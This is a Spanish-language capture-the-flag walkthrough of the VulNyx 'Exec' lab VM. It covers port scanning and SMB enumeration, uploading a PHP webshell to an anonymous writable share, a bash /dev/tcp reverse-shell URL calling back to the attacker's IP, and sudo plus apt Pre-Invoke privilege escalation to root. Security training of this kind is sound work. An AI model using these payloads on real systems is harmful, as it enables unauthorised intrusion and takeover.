En este writeup vamos a resolver la máquina Fuser dificultad Exec de VulNyx.

Resumen de conceptos trabajados:
| Escaneo de Puertos Enumeración de Servicios Reverse Shell Abuso de Binarios con Privilegios |
Si es tu primera máquina de VulNyx y no sabes cómo conectarte a la máquina del laboratorio, te recomiendo que visites este post donde te cuento paso a paso cómo empezar en esta plataforma.
Estructura del contenido
Conexión Previa
Cómo Verificar que estamos conectados a la máquina víctima
Lo primero que tendrás que hacer cuando vayas a trabajar sobre alguna de las máquinas de VulNyx, es descargarla en tu equipo. Una vez descargada y descomprimida, irás a tu VMWare o VirtualBox y la importarás para virtualizarla.
Después de importarla, configura la conexión de red a Red NAT, para que tanto máquina atacante como máquina víctima se encuentren.
Después, abro la máquina de VulNyx y la dejo abierto para que esté activa.
Comenzando con el reconocimiento de la máquina víctima
Inicio mi sesión siendo usuario root de mi máquina atacante con el comando “sudo su” y creamos previamente una nueva carpeta dentro de nuestro Kali para esta máquina y poder crear allí todo lo que analicemos.
Para asegurarnos de que la máquina víctima está conectada en la red:
sudo arp-scan -I eth0 --localnet
y de esta forma vemos todas las IPs conectadas para empezar a analizarla (podemos comprobar que se encuentra la IP de la máquina VulNyx cuando la ejecutamos anteriormente).



vemos que la IP «is up» está activa y su ttl es de 64, es decir, SO Linux.
Fase de Enumeración / Escaneo de Puertos
Comenzamos el análisis con la fase de enumeración y escaneo de puertos mediante el comando:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.0.2.6 -oG Escaneo
La explicación de cada comando sería:
La idea de este escaneo es detectar puertos abiertos en la dirección IP especificada.
sudo: comando en Linux con privilegios de administrador.
nmap: nmap herramienta para escanear redes. Principalmente para descubrir hosts activos.
-p-: esta opción le indica a nmap que escanee todos los puertos del 1 al 65535.
--open: nmap solo mostrará los puertos que están abiertos.
-sS: especifica el tipo de escaneo que se va a realizar. En este caso, es un escaneo SYN, también conocido como «escaneo sigiloso» o TCP SYN scan. Este tipo de escaneo no establece una conexión completa con el puerto, solo envía un paquete SYN y espera una respuesta. Si el puerto está abierto, responde con un SYN-ACK; si está cerrado, responde con un RST.
--min-rate 5000: establece la velocidad mínima del escaneo en 5000 paquetes por segundo, lo que significa que nmap intentará enviar al menos 5000 solicitudes cada segundo. Esto puede hacer que el escaneo sea más rápido, pero también puede aumentar las posibilidades de que sea detectado por sistemas de seguridad.
-vvv: Es el nivel de información que muestra nmap mientras escanea.
-n: esta opción le indica a nmap que no resuelva nombres de dominio (DNS). Es decir, solo utilizará direcciones IP sin intentar convertirlas en nombres de host.
-Pn: le dice a nmap que no haga un «ping» a la dirección IP antes de escanearla. Con-Pn, nmap asumirá que el host está activo y procederá directamente al escaneo de puertos, útil si el host bloquea pings.10.0.2.6 : es la IP de la máquina víctima.
-oG Escaneo: especifica el formato de salida y el nombre del archivo donde se guardarán los resultados del escaneo.Escaneoes el nombre del archivo de salida donde se guardarán los resultados.

El escaneo de puertos nos devuelve que los puertos 22 ssh, 80 web, 139 y 445 (SMB sobre TCP) están abiertos.
Ahora vamos a ver qué servicios corren:

A priori las versión de OpenSSH y Apache no presentan vulnerabilidades públicas conocidas, y los puertos 139 y 445 corren en un SAMBA 4.
Samba es una implementación libre del protocolo SMB (Server Message Block), el mismo que usa Windows para compartir archivos, impresoras y recursos de red entre equipos.
Samba permite que máquinas Linux o Unix se comuniquen y compartan recursos con equipos Windows como si fueran parte de la misma red local (LAN).
Si analizamos la información inferior en rojo sobre SAMBA, nos muestra:
clock-skew -1s: el reloj del host está casi sincronizado con tu máquina. No es problema de seguridad por sí mismo.smb2-time(date: 2025-11-01T19:37:19): confirmación adicional de que el servicio SMB responde y su hora. Útil para correlación de logs.smb2-security-mode: Message signing enabled but not required: SMB message signing está soportado pero no forzado. Es posible intentar ataques de relay / spoofing en redes donde se pueda interceptar tráfico.nbstat: NETBIOS name: EXEC: el nombre NetBIOS del host es EXEC. Útil para búsquedas de shares o para correlacionar con otras máquinas.
Si dejamos por ahora aparcado la parte de inmersión por SAMBA e intentamos acceder por navegador a la IP víctima puerto 80, vemos que se trata de la página de Debian por defecto (a priori sin más información).

Intento continuar la investigación haciendo fuzzing web tanto a nivel de directorios y archivos como de subdominios pero no encuentro nada relevante (ni usando wfuzz ni gobuster).
wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-u http://10.0.2.6/ -H "Host: FUZZ.10.0.2.6" --hc 404,400 -t 50
gobuster dir -u http://10.0.2.6/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 30 -x php,html,txt,zip
Sabiendo que SAMBA está abierto por los puertos 139 y 445, aplicamos este comando para hacer una enumeración SMB básica (-H que determina el Host):
smbmap -H 10.0.2.6

Qué dice esa salida:
smbmap -H 10.0.2.6lista y prueba accesos a recursos compartidos SMB (Server Message Block, usado por Windows para compartir archivos, impresoras, etc.).Disky las filas son los nombres de los shares:print$,server,IPC$,nobody.Permissionsmuestra el permiso para cada share desde tu conexión actual (NULL session).server READ, WRITEsignifica que puedes listar, descargar y subir archivos en\\10.0.2.6\serversin autenticarte.print$yIPC$NO ACCESS.print$son drivers yIPC$es para RPC/IPC. No te preocupan ahora.
Si accedemos al directorio server dentro de la máquina a través de smbclient, vemos que hay un fichero index.html que es la propia página de Debian que vimos en el puerto 80.
smbclient -N //10.0.2.6/server

Teniendo en cuenta que en esa ruta /server tenemos permisos de escritura y lectura, probamos a subir una webshell en php con este contenido:
<?php system($_GET['cmd']); ?>
$_GET['cmd']toma el valor del parámetrocmdde la petición HTTP.system(...)ejecuta ese texto como comando del sistema operativo y devuelve la salida al cliente web.- Resultado: quien haga la petición puede ejecutar comandos en el servidor con los permisos del proceso web (a menudo
www-data,apache,nginx).
Nos aseguramos que efectivamente la webshell está subida al servidor:

Reverse Shell
Si ahora ejecutamos desde el navegador la siguiente url que encadena la IP Víctima que invoca la webshell que hicimos en php, y la concatenamos en cmd con una bash, podríamos tener ejecución remota de comandos.
Antes de ejecutar la línea, tienes que ponerte en escucha con netcat por el puerto 443 para recibir la shell.
http://10.0.2.6/weshell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.0.2.5/443%200%3E%261%22

Al ejecutarlo, tendríamos acceso a la máquina como usuario www-data.
ABUSO DE BINARIOS CON PRIVILEGIOS
Si ejecutamos el comando «sudo -l» , para saber si hay privilegios configurados que puedan explotarse. Vemos los permisos que tiene ese usuario:

Eso nos dice que www-data puede ejecutar /usr/bin/bash como el usuario s3cur4 sin pedir contraseña. Por lo que podemos seguir escalando privilegios a root en este caso cambiando al usuario s3cur4 .
Si ejecutamos :
sudo -u s3cur4 /usr/bin/bash
ahora somos el usuario s3cur4:

Si volvemos a ver los permisos de este usuario con sudo -l vemos que puede ejecutar un binario apt como root sin contraseña:

En este punto lo que hacemos es ir a GTFObins que es un repositorio de explotación de binarios para ver como usuario root como podemos explotar el binario apt.

ejecutamos este onliner y ya somos root:
sudo -u root /usr/bin/apt update -o APT::Update::Pre-Invoke::=/bin/sh

Y ya como usuario root podemos leer las flags mediante el comando:
find / -name user.txt -o -name root.txt |xargs cat
Fuentes: Writeup de d4t4sec
RESUMEN DE LA MÁQUINA EXEC DE VULNYX
| Escaneo y descubrimiento: nmap para descubrir puertos y servicios. Encontramos SSH (22), HTTP (80) y SMB (139/445) con Samba 4. Los resultados NSE mostraron datos útiles no vulnerables por sí solos (hora, clock-skew, NetBIOS name = EXEC) y que el modo SMB permite firma pero no la exige, lo que reduce ciertas protecciones. La página HTTP era la página por defecto de Apache, sin información sensible visible por navegador o fuzzing. Explotación y escalada (resumen no técnico): con enumeración SMB detectamos el share server con permisos anónimos de lectura/escritura. Al subir un archivo PHP ejecutable comprobamos que el servidor ejecutaba código PHP y obtuvimos ejecución con el usuario del servicio web. A partir de ahí encontramos una configuración de sudo que permitía ejecutar binarios como otros usuarios sin contraseña. Esa configuración permitió cambiar a un usuario intermedio y, mediante abuso de un binario con privilegios, escalar finalmente a root y leer las flags del laboratorio. |
